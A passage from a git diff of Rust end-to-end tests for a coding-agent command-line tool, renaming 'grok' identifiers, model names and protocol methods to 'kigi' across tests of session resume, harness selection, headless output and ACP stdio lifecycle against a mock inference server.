             .load_session_with_timeout(&session_id, workdir.path())
@@ -153,16 +153,16 @@ async fn test_session_resume_preserves_harness() {
         let resumed_sys_prompt = server
             .last_system_prompt()
             .expect("should have captured resumed system prompt");
-        let original_has_grok =
-            original_sys_prompt.contains("Grok") || original_sys_prompt.contains("grok");
-        let resumed_has_grok =
-            resumed_sys_prompt.contains("Grok") || resumed_sys_prompt.contains("grok");
+        let original_has_kigi =
+            original_sys_prompt.contains("Kigi") || original_sys_prompt.contains("kigi");
+        let resumed_has_kigi =
+            resumed_sys_prompt.contains("Kigi") || resumed_sys_prompt.contains("kigi");
         assert_eq!(
-            original_has_grok,
-            resumed_has_grok,
+            original_has_kigi,
+            resumed_has_kigi,
             "resumed session should use the same harness as the original\n\
-             original identity markers: grok={original_has_grok}\n\
-             resumed identity markers: grok={resumed_has_grok}\n\
+             original identity markers: kigi={original_has_kigi}\n\
+             resumed identity markers: kigi={resumed_has_kigi}\n\
              original prompt (first 300): {}\n\
              resumed prompt (first 300): {}",
             &original_sys_prompt[..original_sys_prompt.len().min(300)],
@@ -172,172 +172,159 @@ async fn test_session_resume_preserves_harness() {
     .await;
 }
 /// A model that doesn't declare `agent_type` in its metadata should
-/// default to `"grok-build"`. This exercises the serde default.
+/// default to `"kigi"`. This exercises the serde default.
 #[tokio::test]
 #[ignore]
-async fn test_model_without_agent_type_defaults_to_grok_build() {
+async fn test_model_without_agent_type_defaults_to_kigi() {
     with_local_set(|| async {
-            let server = MockInferenceServer::start_with_models(
-                    vec![MockModelEntry::new("no-agent-type-model"),],
-                )
-                .await
-                .expect("start mock server");
-            let workdir = git_workdir();
-            let client = GrokStdioClient::spawn(&server, workdir.path()).await;
-            client.initialize_with_timeout().await;
-            let session_id = client
-                .create_session_with_model_timeout(workdir.path(), "no-agent-type-model")
-                .await;
-            let result = client.prompt_with_timeout(&session_id, "say hello").await;
-            assert!(result.is_ok(), "prompt failed: {:?}", result.err());
-            let sys_prompt = server
-                .last_system_prompt()
-                .expect("should have at least one inference request");
-            assert!(
-                sys_prompt.contains("Grok") || sys_prompt.contains("grok"),
-                "model without agent_type should default to grok-build harness\nsystem prompt preview: {}",
-                & sys_prompt[..sys_prompt.len().min(500)]
-            );
-        })
-        .await;
+        let server = MockInferenceServer::start_with_models(vec![MockModelEntry::new(
+            "no-agent-type-model",
+        )])
+        .await
+        .expect("start mock server");
+        let workdir = git_workdir();
+        let client = KigiStdioClient::spawn(&server, workdir.path()).await;
+        client.initialize_with_timeout().await;
+        let session_id = client
+            .create_session_with_model_timeout(workdir.path(), "no-agent-type-model")
+            .await;
+        let result = client.prompt_with_timeout(&session_id, "say hello").await;
+        assert!(result.is_ok(), "prompt failed: {:?}", result.err());
+        let sys_prompt = server
+            .last_system_prompt()
+            .expect("should have at least one inference request");
+        assert!(
+            sys_prompt.contains("Kigi") || sys_prompt.contains("kigi"),
+            "model without agent_type should default to kigi harness\nsystem prompt preview: {}",
+            &sys_prompt[..sys_prompt.len().min(500)]
+        );
+    })
+    .await;
 }
 /// The `KIGI_AGENT` escape hatch should override the model's agent_type.
-/// Setting `KIGI_AGENT=grok-build` with an alternate-agent model should use
-/// grok-build harness.
+/// Setting `KIGI_AGENT=kigi` with an alternate-agent model should use
+/// kigi harness.
 #[tokio::test]
 #[ignore]
-async fn test_grok_agent_env_overrides_model_agent_type() {
+async fn test_kigi_agent_env_overrides_model_agent_type() {
     with_local_set(|| async {
-            let server = dual_model_server().await;
-            let workdir = git_workdir();
-            let binary = grok_binary();
-            let home = tempfile::TempDir::new().expect("create temp home");
-            let mut cmd = tokio::process::Command::new(&binary);
-            cmd.args(["agent", "stdio"])
-                .current_dir(workdir.path())
-                .stdin(std::process::Stdio::piped())
-                .stdout(std::process::Stdio::piped())
-                .stderr(std::process::Stdio::piped())
-                .kill_on_drop(true);
-            kigi_test_support::env::test_env_cmd_tokio(
-                &mut cmd,
-                &server.url(),
-                home.path(),
-            );
-            cmd.env("KIGI_AGENT", "grok-build");
-            let mut child = cmd.spawn().expect("spawn grok");
-            let outgoing = child.stdin.take().unwrap();
-            let incoming = child.stdout.take().unwrap();
-            use tokio_util::compat::{TokioAsyncReadCompatExt, TokioAsyncWriteCompatExt};
-            let outgoing = outgoing.compat_write();
-            let incoming = incoming.compat();
-            let incoming = kigi_acp_lib::LineBufferedRead::spawn_local(incoming);
-            use agent_client_protocol as acp;
-            struct NoopClient;
-            #[async_trait::async_trait(?Send)]
-            impl acp::Client for NoopClient {
-                async fn request_permission(
-                    &self,
-                    args: acp::RequestPermissionRequest,
-                ) -> acp::Result<acp::RequestPermissionResponse> {
-                    let outcome = args
-                        .options
-                        .iter()
-                        .find(|o| o.kind == acp::PermissionOptionKind::AllowOnce)
-                        .or(args.options.first())
-                        .map(|o| acp::RequestPermissionOutcome::Selected(
+        let server = dual_model_server().await;
+        let workdir = git_workdir();
+        let binary = kigi_binary();
+        let home = tempfile::TempDir::new().expect("create temp home");
+        let mut cmd = tokio::process::Command::new(&binary);
+        cmd.args(["agent", "stdio"])
+            .current_dir(workdir.path())
+            .stdin(std::process::Stdio::piped())
+            .stdout(std::process::Stdio::piped())
+            .stderr(std::process::Stdio::piped())
+            .kill_on_drop(true);
+        kigi_test_support::env::test_env_cmd_tokio(&mut cmd, &server.url(), home.path());
+        cmd.env("KIGI_AGENT", "kigi");
+        let mut child = cmd.spawn().expect("spawn kigi");
+        let outgoing = child.stdin.take().unwrap();
+        let incoming = child.stdout.take().unwrap();
+        use tokio_util::compat::{TokioAsyncReadCompatExt, TokioAsyncWriteCompatExt};
+        let outgoing = outgoing.compat_write();
+        let incoming = incoming.compat();
+        let incoming = kigi_acp_lib::LineBufferedRead::spawn_local(incoming);
+        use agent_client_protocol as acp;
+        struct NoopClient;
+        #[async_trait::async_trait(?Send)]
+        impl acp::Client for NoopClient {
+            async fn request_permission(
+                &self,
+                args: acp::RequestPermissionRequest,
+            ) -> acp::Result<acp::RequestPermissionResponse> {
+                let outcome = args
+                    .options
+                    .iter()
+                    .find(|o| o.kind == acp::PermissionOptionKind::AllowOnce)
+                    .or(args.options.first())
+                    .map(|o| {
+                        acp::RequestPermissionOutcome::Selected(
                             acp::SelectedPermissionOutcome::new(o.option_id.clone()),
-                        ))
-                        .unwrap_or(acp::RequestPermissionOutcome::Cancelled);
-                    Ok(acp::RequestPermissionResponse::new(outcome))
-                }
-                async fn session_notification(
-                    &self,
-                    _args: acp::SessionNotification,
-                ) -> acp::Result<()> {
-                    Ok(())
-                }
+                        )
+                    })
+                    .unwrap_or(acp::RequestPermissionOutcome::Cancelled);
+                Ok(acp::RequestPermissionResponse::new(outcome))
             }
-            let (conn, handle_io) = acp::ClientSideConnection::new(
-                NoopClient,
-                outgoing,
-                incoming,
-                |fut| {
-                    tokio::task::spawn_local(fut);
-                },
-            );
-            tokio::task::spawn_local(handle_io);
-            let _init = tokio::time::timeout(
-                    Duration::from_secs(20),
-                    conn
-                        .initialize(
-                            acp::InitializeRequest::new(acp::ProtocolVersion::V1)
-                                .client_capabilities(
-                                    acp::ClientCapabilities::new()
-                                        .fs(acp::FileSystemCapabilities::new())
-                                        .terminal(false),
-                                )
-                                .meta(
-                                    serde_json::json!(
-                                        { "startupHints" : { "nonInteractive" : true,
-                                        "skipGitStatus" : true, "skipProjectLayout" : true },
-                                        "clientType" : "test-client", "clientVersion" : "0.0.0-test"
-                                        }
-                                    )
-                                        .as_object()
-                                        .cloned(),
-                                ),
-                        ),
-                )
-                .await
-                .expect("init timed out")
-                .expect("init failed");
-            conn.authenticate(
-                    acp::AuthenticateRequest::new(acp::AuthMethodId::new("xai.api_key"))
-                        .meta(
-                            serde_json::json!({ "headless" : true }).as_object().cloned(),
-                        ),
-                )
-                .await
-                .expect("auth failed");
-            let session = tokio::time::timeout(
-                    Duration::from_secs(20),
-                    conn
-                        .new_session(
-                            acp::NewSessionRequest::new(workdir.path().to_path_buf())
-                                .meta(
-                                    serde_json::json!({ "modelId" : "cursor-model" })
-                                        .as_object()
-                                        .cloned(),
-                                ),
-                        ),
-                )
-                .await
-                .expect("session/new timed out")
-                .expect("session/new failed");
-            let _prompt = tokio::time::timeout(
-                    Duration::from_secs(30),
-                    conn
-                        .prompt(
-                            acp::PromptRequest::new(
-                                session.session_id.clone(),
-                                vec![
-                                    acp::ContentBlock::Text(acp::TextContent::new("say hello"))
-                                ],
-                            ),
-                        ),
-                )
-                .await
-                .expect("prompt timed out")
-                .expect("prompt failed");
-            let sys_prompt = server
-                .last_system_prompt()
-                .expect("should have inference request");
-            assert!(
-                sys_prompt.contains("Grok") || sys_prompt.contains("grok"),
-                "KIGI_AGENT=grok-build should override cursor model's agent_type\nsystem prompt preview: {}",
-                & sys_prompt[..sys_prompt.len().min(500)]
-            );
-        })
-        .await;
+            async fn session_notification(
+                &self,
+                _args: acp::SessionNotification,
+            ) -> acp::Result<()> {
+                Ok(())
+            }
+        }
+        let (conn, handle_io) =
+            acp::ClientSideConnection::new(NoopClient, outgoing, incoming, |fut| {
+                tokio::task::spawn_local(fut);
+            });
+        tokio::task::spawn_local(handle_io);
+        let _init = tokio::time::timeout(
+            Duration::from_secs(20),
+            conn.initialize(
+                acp::InitializeRequest::new(acp::ProtocolVersion::V1)
+                    .client_capabilities(
+                        acp::ClientCapabilities::new()
+                            .fs(acp::FileSystemCapabilities::new())
+                            .terminal(false),
+                    )
+                    .meta(
+                        serde_json::json!(
+                            { "startupHints" : { "nonInteractive" : true,
+                            "skipGitStatus" : true, "skipProjectLayout" : true },
+                            "clientType" : "test-client", "clientVersion" : "0.0.0-test"
+                            }
+                        )
+                        .as_object()
+                        .cloned(),
+                    ),
+            ),
+        )
+        .await
+        .expect("init timed out")
+        .expect("init failed");
+        conn.authenticate(
+            acp::AuthenticateRequest::new(acp::AuthMethodId::new("xai.api_key")).meta(
+                serde_json::json!({ "headless" : true })
+                    .as_object()
+                    .cloned(),
+            ),
+        )
+        .await
+        .expect("auth failed");
+        let session = tokio::time::timeout(
+            Duration::from_secs(20),
+            conn.new_session(
+                acp::NewSessionRequest::new(workdir.path().to_path_buf()).meta(
+                    serde_json::json!({ "modelId" : "cursor-model" })
+                        .as_object()
+                        .cloned(),
+                ),
+            ),
+        )
+        .await
+        .expect("session/new timed out")
+        .expect("session/new failed");
+        let _prompt = tokio::time::timeout(
+            Duration::from_secs(30),
+            conn.prompt(acp::PromptRequest::new(
+                session.session_id.clone(),
+                vec![acp::ContentBlock::Text(acp::TextContent::new("say hello"))],
+            )),
+        )
+        .await
+        .expect("prompt timed out")
+        .expect("prompt failed");
+        let sys_prompt = server
+            .last_system_prompt()
+            .expect("should have inference request");
+        assert!(
+            sys_prompt.contains("Kigi") || sys_prompt.contains("kigi"),
+            "KIGI_AGENT=kigi should override cursor model's agent_type\nsystem prompt preview: {}",
+            &sys_prompt[..sys_prompt.len().min(500)]
+        );
+    })
+    .await;
 }
diff --git a/crates/codegen/kigi-shell/tests/test_built_binary_e2e.rs b/crates/codegen/kigi-shell/tests/test_built_binary_e2e.rs
index e662983..a5eb0a3 100644
--- a/crates/codegen/kigi-shell/tests/test_built_binary_e2e.rs
+++ b/crates/codegen/kigi-shell/tests/test_built_binary_e2e.rs
@@ -1,12 +1,12 @@
-//! Built-binary end-to-end tests for the grok (kigi-tui) binary.
+//! Built-binary end-to-end tests for the kigi (kigi-tui) binary.
 //!
-//! These tests verify that the built grok binary works end-to-end against a mock
+//! These tests verify that the built kigi binary works end-to-end against a mock
 //! inference server. They catch dynamic linking failures (libgit2/OpenSSL),
 //! session initialization crashes, and protocol regressions.
 //!
 //! The tests exercise:
-//! - **Smoke** (`grok --version`): binary loads without crashing
-//! - **ACP stdio** (`grok agent stdio`): full protocol lifecycle via ClientSideConnection
+//! - **Smoke** (`kigi --version`): binary loads without crashing
+//! - **ACP stdio** (`kigi agent stdio`): full protocol lifecycle via ClientSideConnection
 //!
 //! Tests are `#[ignore]`d by default — they require a pre-built binary.
 //!
@@ -17,7 +17,7 @@
 //!
 //! In CI, set `KIGI_BINARY` to point at the release artifact:
 //! ```bash
-//! KIGI_BINARY=./artifacts/grok-0.1.159-linux-x86_64 \
+//! KIGI_BINARY=./artifacts/kigi-0.1.159-linux-x86_64 \
 //!   cargo test -p kigi-shell --test test_built_binary_e2e -- --ignored
 //! ```
 
@@ -50,9 +50,9 @@ async fn single_model_server(model: &str, backend: &str) -> MockInferenceServer
     .expect("start mock server")
 }
 
-async fn grok_build_server() -> MockInferenceServer {
+async fn kigi_server() -> MockInferenceServer {
     MockInferenceServer::start_with_models(vec![
-        MockModelEntry::with_agent_type("grok-4.5", "grok-build")
+        MockModelEntry::with_agent_type("kigi-4.5", "kigi")
             .with_api_backend("responses")
             .with_supports_backend_search(true),
     ])
@@ -112,7 +112,7 @@ async fn run_headless_with_env(
     env: &[(&str, &str)],
 ) -> HeadlessResult {
     let home = tempfile::TempDir::new().expect("create temp home");
-    let mut cmd = tokio::process::Command::new(grok_binary());
+    let mut cmd = tokio::process::Command::new(kigi_binary());
     cmd.args(args)
         .current_dir(cwd)
         .stdin(std::process::Stdio::null())
@@ -133,7 +133,7 @@ async fn run_headless_with_env(
 #[tokio::test]
 #[ignore] // requires pre-built binary; run with --ignored
 async fn test_version_exits_zero() {
-    let binary = grok_binary();
+    let binary = kigi_binary();
     let output = Command::new(&binary)
         .arg("--version")
         .output()
@@ -141,7 +141,7 @@ async fn test_version_exits_zero() {
 
     assert!(
         output.status.success(),
-        "grok --version failed (exit {:?}):\n{}",
+        "kigi --version failed (exit {:?}):\n{}",
         output.status.code(),
         String::from_utf8_lossy(&output.stderr)
     );
@@ -153,7 +153,7 @@ async fn test_version_exits_zero() {
 #[tokio::test]
 #[ignore] // requires pre-built binary; run with --ignored
 async fn test_version_with_crash_handler_exits_zero() {
-    let binary = grok_binary();
+    let binary = kigi_binary();
     let output = Command::new(&binary)
         .arg("--version")
         .env("KIGI_CRASH_HANDLER", "1")
@@ -162,7 +162,7 @@ async fn test_version_with_crash_handler_exits_zero() {
 
     assert!(
         output.status.success(),
-        "grok --version with KIGI_CRASH_HANDLER=1 failed (exit {:?}):\n{}",
+        "kigi --version with KIGI_CRASH_HANDLER=1 failed (exit {:?}):\n{}",
         output.status.code(),
         String::from_utf8_lossy(&output.stderr)
     );
@@ -183,7 +183,7 @@ async fn test_headless_session_in_git_repo() {
     let workdir = git_workdir();
     let result = run_headless(&server, &["-p", "say hello", "--yolo"], workdir.path()).await;
 
-    assert_headless_success(&result, "grok -p in git repo", Some(&server));
+    assert_headless_success(&result, "kigi -p in git repo", Some(&server));
     assert_no_crashes(&result.stderr);
     assert!(
         server.request_count() > 0,
@@ -197,7 +197,7 @@ async fn test_headless_session_in_git_repo() {
     );
 }
 
-/// Verify grok works in a non-git directory (exercises the fallback codepath
+/// Verify kigi works in a non-git directory (exercises the fallback codepath
 /// where libgit2 discovers there's no repo instead of initializing one).
 #[tokio::test]
 #[ignore] // requires pre-built binary; run with --ignored
@@ -210,14 +210,14 @@ async fn test_headless_session_in_non_git_dir() {
 
     let result = run_headless(&server, &["-p", "say hello", "--yolo"], workdir.path()).await;
 
-    assert_headless_success(&result, "grok -p in non-git dir", Some(&server));
+    assert_headless_success(&result, "kigi -p in non-git dir", Some(&server));
     assert_no_crashes(&result.stderr);
 }
 
 #[tokio::test]
 #[ignore] // requires pre-built binary; run with --ignored
 async fn test_headless_tools_allowlist_keeps_enabled_web_tools() {
-    let server = grok_build_server().await;
+    let server = kigi_server().await;
     server.preset_allow_access();
     let workdir = git_workdir();
 
@@ -235,7 +235,7 @@ async fn test_headless_tools_allowlist_keeps_enabled_web_tools() {
     )
     .await;
 
-    assert_headless_success(&result, "grok -p --tools with web tools", Some(&server));
+    assert_headless_success(&result, "kigi -p --tools with web tools", Some(&server));
     assert_no_crashes(&result.stderr);
     let names = inference_tool_names(&server);
     for expected in ["read_file", "grep", "list_dir", "web_search", "web_fetch"] {
@@ -275,7 +275,7 @@ async fn test_headless_tools_allowlist_keeps_enabled_web_tools() {
 #[tokio::test]
 #[ignore] // requires pre-built binary; run with --ignored
 async fn test_headless_tools_allowlist_does_not_fail_open_for_disabled_web_fetch() {
-    let server = grok_build_server().await;
+    let server = kigi_server().await;
     server.set_settings(serde_json::json!({
         "allow_access": true,
         "web_fetch_enabled": false,
@@ -298,7 +298,7 @@ async fn test_headless_tools_allowlist_does_not_fail_open_for_disabled_web_fetch
 
     assert_headless_success(
         &result,
-        "grok -p --tools with disabled web_fetch",
+        "kigi -p --tools with disabled web_fetch",
         Some(&server),
     );
     assert_no_crashes(&result.stderr);
@@ -315,7 +315,7 @@ async fn test_headless_tools_allowlist_does_not_fail_open_for_disabled_web_fetch
 #[tokio::test]
 #[ignore] // requires pre-built binary; run with --ignored
 async fn test_headless_terminal_only_allowlist_is_foreground_only() {
-    let server = grok_build_server().await;
+    let server = kigi_server().await;
     let workdir = git_workdir();
 
     let result = run_headless(
@@ -325,7 +325,7 @@ async fn test_headless_terminal_only_allowlist_is_foreground_only() {
     )
     .await;
 
-    assert_headless_success(&result, "grok -p --tools run_terminal_cmd", Some(&server));
+    assert_headless_success(&result, "kigi -p --tools run_terminal_cmd", Some(&server));
     assert_no_crashes(&result.stderr);
     let request = inference_request(&server);
     let terminal = request["tools"]
@@ -386,7 +386,7 @@ async fn test_headless_free_usage_exhausted_prints_paywall_message() {
     assert_no_crashes(&result.stderr);
     let combined = format!("{}\n{}", result.stdout, result.stderr);
     assert!(
-        combined.contains("reached your free Grok Build usage limit"),
+        combined.contains("reached your free Kigi usage limit"),
         "expected the free-usage paywall message\nstdout:\n{}\nstderr tail:\n{}",
         result.stdout,
         stderr_tail(&result.stderr, 1000)
@@ -421,7 +421,7 @@ async fn test_headless_streaming_json_output() {
 
     assert_headless_success(
         &result,
-        "grok -p --output-format streaming-json",
+        "kigi -p --output-format streaming-json",
         Some(&server),
     );
     assert_no_crashes(&result.stderr);
@@ -468,19 +468,19 @@ async fn test_headless_streaming_json_output() {
 async fn test_headless_json_reports_server_cost() {
     use kigi_test_support::scripted::SseEvent;
 
-    let server = single_model_server("grok-4.5", "chat_completions").await;
+    let server = single_model_server("kigi-4.5", "chat_completions").await;
     let chunk = |body: serde_json::Value| SseEvent::data(body.to_string());
     server.enqueue_response(
         "/v1/chat/completions",
         kigi_test_support::scripted::ScriptedResponse::sse(vec![
             chunk(serde_json::json!({
                 "id": "chatcmpl-cost", "object": "chat.completion.chunk", "created": 0,
-                "model": "grok-4.5",
+                "model": "kigi-4.5",
                 "choices": [{ "index": 0, "delta": { "content": "4" }, "finish_reason": "stop" }]
             })),
             chunk(serde_json::json!({
                 "id": "chatcmpl-cost", "object": "chat.completion.chunk", "created": 0,
-                "model": "grok-4.5", "choices": [],
+                "model": "kigi-4.5", "choices": [],
                 "usage": {
                     "prompt_tokens": 10, "completion_tokens": 5, "total_tokens": 15,
                     "cost_in_usd_ticks": 1_234_500_000_i64
@@ -498,7 +498,7 @@ async fn test_headless_json_reports_server_cost() {
             "what is 2+2",
             "--yolo",
             "--model",
-            "grok-4.5",
+            "kigi-4.5",
             "--max-turns",
             "1",
             "--output-format",
@@ -508,7 +508,7 @@ async fn test_headless_json_reports_server_cost() {
     )
     .await;
 
-    assert_headless_success(&result, "grok -p (scripted cost)", Some(&server));
+    assert_headless_success(&result, "kigi -p (scripted cost)", Some(&server));
     let output = parse_stdout_json(&result);
     assert_eq!(output["total_cost_usd"], 0.12345);
     assert_eq!(output["total_cost_usd_ticks"], 1_234_500_000_i64);
@@ -528,7 +528,7 @@ async fn test_headless_json_reports_server_cost() {
 #[tokio::test]
 #[ignore] // requires pre-built binary; run with --ignored
 async fn test_headless_json_reports_usage_on_max_turns() {
-    let server = single_model_server("grok-4.5", "chat_completions").await;
+    let server = single_model_server("kigi-4.5", "chat_completions").await;
     server.enqueue_response(
         "/v1/chat/completions",
         kigi_test_support::scripted::ScriptedResponse::sse(
@@ -537,7 +537,7 @@ async fn test_headless_json_reports_usage_on_max_turns() {
                 "call-1",
                 "read_file",
                 r#"{"path":"README.md"}"#,
-                "grok-4.5",
+                "kigi-4.5",
             ),
         ),
     );
@@ -550,7 +550,7 @@ async fn test_headless_json_reports_usage_on_max_turns() {
             "read the readme",
             "--yolo",
             "--model",
-            "grok-4.5",
+            "kigi-4.5",
             "--max-turns",
             "1",
             "--output-format",
@@ -569,7 +569,7 @@ async fn test_headless_json_reports_usage_on_max_turns() {
 #[tokio::test]
 #[ignore] // requires pre-built binary; run with --ignored
 async fn test_headless_streaming_json_usage() {
-    let server = single_model_server("grok-4.5", "chat_completions").await;
+    let server = single_model_server("kigi-4.5", "chat_completions").await;
     let workdir = git_workdir();
     let result = run_headless(
         &server,
@@ -578,7 +578,7 @@ async fn test_headless_streaming_json_usage() {
             "say hello",
             "--yolo",
             "--model",
-            "grok-4.5",
+            "kigi-4.5",
             "--output-format",
             "streaming-json",
         ],
@@ -604,7 +604,7 @@ async fn test_headless_streaming_json_usage() {
 #[tokio::test]
 #[ignore] // requires pre-built binary; run with --ignored
 async fn headless_json_schema_chat_completions_uses_response_format() {
-    let server = single_model_server("grok-4.5", "chat_completions").await;
+    let server = single_model_server("kigi-4.5", "chat_completions").await;
     server.set_response(r#"{"name":"Alice","age":30}"#);
 
     let workdir = git_workdir();
@@ -615,7 +615,7 @@ async fn headless_json_schema_chat_completions_uses_response_format() {
             "extract name and age",
             "--yolo",
             "--model",
-            "grok-4.5",
+            "kigi-4.5",
             "--json-schema",
             r#"{"type":"object","properties":{"name":{"type":"string"},"age":{"type":"integer"}},"required":["name","age"],"additionalProperties":false}"#,
             "--max-turns",
@@ -627,7 +627,7 @@ async fn headless_json_schema_chat_completions_uses_response_format() {
 
     assert_headless_success(
         &result,
-        "grok -p --json-schema (chat_completions)",
+        "kigi -p --json-schema (chat_completions)",
         Some(&server),
     );
     assert_no_crashes(&result.stderr);
@@ -663,7 +663,7 @@ async fn headless_json_schema_chat_completions_uses_response_format() {
 #[tokio::test]
 #[ignore] // requires pre-built binary; run with --ignored
 async fn headless_json_schema_responses_uses_text_format() {
-    let server = single_model_server("grok-4.5", "responses").await;
+    let server = single_model_server("kigi-4.5", "responses").await;
     server.set_response(r#"{"name":"Alice","age":30}"#);
 
     let workdir = git_workdir();
@@ -674,7 +674,7 @@ async fn headless_json_schema_responses_uses_text_format() {
             "extract name and age",
             "--yolo",
             "--model",
-            "grok-4.5",
+            "kigi-4.5",
             "--json-schema",
             NAME_AGE_SCHEMA,
             "--max-turns",
@@ -684,7 +684,7 @@ async fn headless_json_schema_responses_uses_text_format() {
     )
     .await;
 
-    assert_headless_success(&result, "grok -p --json-schema (responses)", Some(&server));
+    assert_headless_success(&result, "kigi -p --json-schema (responses)", Some(&server));
     assert_no_crashes(&result.stderr);
 
     let output = parse_stdout_json(&result);
@@ -740,7 +740,7 @@ async fn headless_json_schema_messages_backend_uses_structured_output_tool() {
     )
     .await;
 
-    assert_headless_success(&result, "grok -p --json-schema (messages)", Some(&server));
+    assert_headless_success(&result, "kigi -p --json-schema (messages)", Some(&server));
     assert_no_crashes(&result.stderr);
 
     let output = parse_stdout_json(&result);
@@ -824,7 +824,7 @@ async fn headless_json_schema_messages_validates_text_when_tool_not_called() {
 
     assert_headless_success(
         &result,
-        "grok -p --json-schema (messages, text)",
+        "kigi -p --json-schema (messages, text)",
         Some(&server),
     );
     assert_no_crashes(&result.stderr);
@@ -871,7 +871,7 @@ async fn headless_json_schema_messages_retries_on_schema_violation() {
 
     assert_headless_success(
         &result,
-        "grok -p --json-schema (messages, retry)",
+        "kigi -p --json-schema (messages, retry)",
         Some(&server),
     );
     assert_no_crashes(&result.stderr);
@@ -887,7 +887,7 @@ async fn headless_json_schema_messages_retries_on_schema_violation() {
 #[tokio::test]
 #[ignore] // requires pre-built binary; run with --ignored
 async fn invalid_json_schema_disables_structured_output_and_surfaces_error() {
-    let server = single_model_server("grok-4.5", "chat_completions").await;
+    let server = single_model_server("kigi-4.5", "chat_completions").await;
     server.set_response(r#"{"name":"Alice","age":30}"#);
 
     let workdir = git_workdir();
@@ -898,7 +898,7 @@ async fn invalid_json_schema_disables_structured_output_and_surfaces_error() {
             "extract name and age",
             "--yolo",
             "--model",
-            "grok-4.5",
+            "kigi-4.5",
             // Valid JSON object, but `pattern` is an invalid regex → schema
             // compilation (`jsonschema::validator_for`) fails.
             "--json-schema",
@@ -912,7 +912,7 @@ async fn invalid_json_schema_disables_structured_output_and_surfaces_error() {
 
     assert_headless_success(
         &result,
-        "grok -p --json-schema (invalid schema)",
+        "kigi -p --json-schema (invalid schema)",
         Some(&server),
     );
     assert_no_crashes(&result.stderr);
@@ -950,9 +950,9 @@ async fn invalid_json_schema_disables_structured_output_and_surfaces_error() {
 }
 
 // ============================================================================
-// ACP stdio tests (grok agent stdio)
+// ACP stdio tests (kigi agent stdio)
 //
-// These test the agent as a server: spawn `grok agent stdio`, speak the full
+// These test the agent as a server: spawn `kigi agent stdio`, speak the full
 // ACP protocol over pipes, verify the lifecycle works end-to-end.
 // ============================================================================
 
@@ -965,7 +965,7 @@ async fn test_stdio_full_session_lifecycle() {
     with_local_set(|| async {
         let server = MockInferenceServer::start().await.expect("start mock server");
         let workdir = git_workdir();
-        let client = GrokStdioClient::spawn(&server, workdir.path()).await;
+        let client = KigiStdioClient::spawn(&server, workdir.path()).await;
 
         // Initialize and authenticate
         let init_resp = client.initialize_with_timeout().await;
@@ -1001,7 +1001,7 @@ async fn test_stdio_full_session_lifecycle() {
     .await;
 }
 
-/// Verify that x.ai/session/close frees the session.
+/// Verify that kigi/session/close frees the session.
 /// Creates a session, closes it via ext_method, then verifies session/info
 /// returns an empty response (session no longer exists).
 #[tokio::test]
@@ -1012,7 +1012,7 @@ async fn test_stdio_session_close() {
             .await
             .expect("start mock server");
         let workdir = git_workdir();
-        let client = GrokStdioClient::spawn(&server, workdir.path()).await;
+        let client = KigiStdioClient::spawn(&server, workdir.path()).await;
 
         client.initialize_with_timeout().await;
         let session_id = client.create_session_with_timeout(workdir.path()).await;
@@ -1020,7 +1020,7 @@ async fn test_stdio_session_close() {
         // Session should be alive — session/info returns data with sessionId
         let info_resp = client
             .ext_method(
-                "x.ai/session/info",
+                "kigi/session/info",
                 serde_json::json!({ "sessionId": session_id.0.as_ref() }),
             )
             .await;
@@ -1039,7 +1039,7 @@ async fn test_stdio_session_close() {
         // Close the session
         let close_resp = client
             .ext_method(
-                "x.ai/session/close",
+                "kigi/session/close",
                 serde_json::json!({ "sessionId": session_id.0.as_ref() }),
             )
             .await;
@@ -1053,7 +1053,7 @@ async fn test_stdio_session_close() {
         // Session should be gone — session/info returns empty result (no sessionId)
         let info_after = client
             .ext_method(
-                "x.ai/session/info",
+                "kigi/session/info",
                 serde_json::json!({ "sessionId": session_id.0.as_ref() }),
             )
             .await;
@@ -1074,7 +1074,7 @@ async fn test_stdio_prompt_then_immediate_load_session() {
     with_local_set(|| async {
         let server = MockInferenceServer::start().await.expect("start mock server");
         let workdir = git_workdir();
-        let mut writer = GrokStdioClient::spawn(&server, workdir.path()).await;
+        let mut writer = KigiStdioClient::spawn(&server, workdir.path()).await;
 
         let init_resp = writer.initialize_with_timeout().await;
         assert!(
@@ -1095,7 +1095,7 @@ async fn test_stdio_prompt_then_immediate_load_session() {
         let shared_home = writer.take_home();
         drop(writer);
 
-        let reader = GrokStdioClient::spawn_with_home(&server, workdir.path(), shared_home).await;
+        let reader = KigiStdioClient::spawn_with_home(&server, workdir.path(), shared_home).await;
         reader.initialize_with_timeout().await;
         let _ = reader
             .load_session_with_timeout(&session_id, workdir.path())
@@ -1252,7 +1252,7 @@ async fn test_stdio_xcode_escaped_slash_methods_get_responses() {
 // ── Config test harness ─────────────────────────────────────────────────────
 
 /// Isolated headless run with a custom `~/.kigi/`. Clean env (no leaked
-/// host credentials). Write config files into `grok_dir()` before `run()`.
+/// host credentials). Write config files into `kigi_dir()` before `run()`.
 struct ConfigTestHarness {
     home: tempfile::TempDir,
     workdir: tempfile::TempDir,
@@ -1277,7 +1277,7 @@ impl ConfigTestHarness {
         }
     }
 
-    fn grok_dir(&self) -> std::path::PathBuf {
+    fn kigi_dir(&self) -> std::path::PathBuf {
         self.home.path().join(".kigi")
     }
 
@@ -1287,7 +1287,7 @@ impl ConfigTestHarness {
     }
 
     async fn run(&self) -> HeadlessResult {
-        let mut cmd = tokio::process::Command::new(grok_binary());
+        let mut cmd = tokio::process::Command::new(kigi_binary());
         cmd.args(["-p", "say hello", "--yolo"])
             .current_dir(self.workdir.path())
             .stdin(std::process::Stdio::null())
@@ -1296,10 +1296,10 @@ impl ConfigTestHarness {
             .kill_on_drop(true)
             .env_clear()
             .env("HOME", self.home.path())
-            // Windows resolves `~` via USERPROFILE, not HOME — pin the grok
+            // Windows resolves `~` via USERPROFILE, not HOME — pin the kigi
             // home explicitly so the sandbox holds on all platforms (see
             // `test_env_cmd_tokio`).
-            .env("KIGI_SHARE_DIR", self.grok_dir())
+            .env("KIGI_SHARE_DIR", self.kigi_dir())
             .env("PATH", std::env::var("PATH").unwrap_or_default());
         for (k, v) in &self.env {
             cmd.env(k, v);
@@ -1310,14 +1310,14 @@ impl ConfigTestHarness {
 
 // ── Enterprise managed config tests ────────────────────────────────────────
 
-/// Enterprise BYOK: managed_config.toml overrides grok-build with a custom
+/// Enterprise BYOK: managed_config.toml overrides kigi with a custom
 /// endpoint + env_key. Mock rejects unauthenticated requests with 401.
 /// Regression guard for the 0.1.220 authentication regression.
 #[tokio::test]
 #[ignore] // requires pre-built binary; run with --ignored
 async fn test_headless_managed_config_byok_sends_authorized_requests() {
     let server = MockInferenceServer::start_with_required_auth(
-        vec![MockModelEntry::new("grok-4.5")],
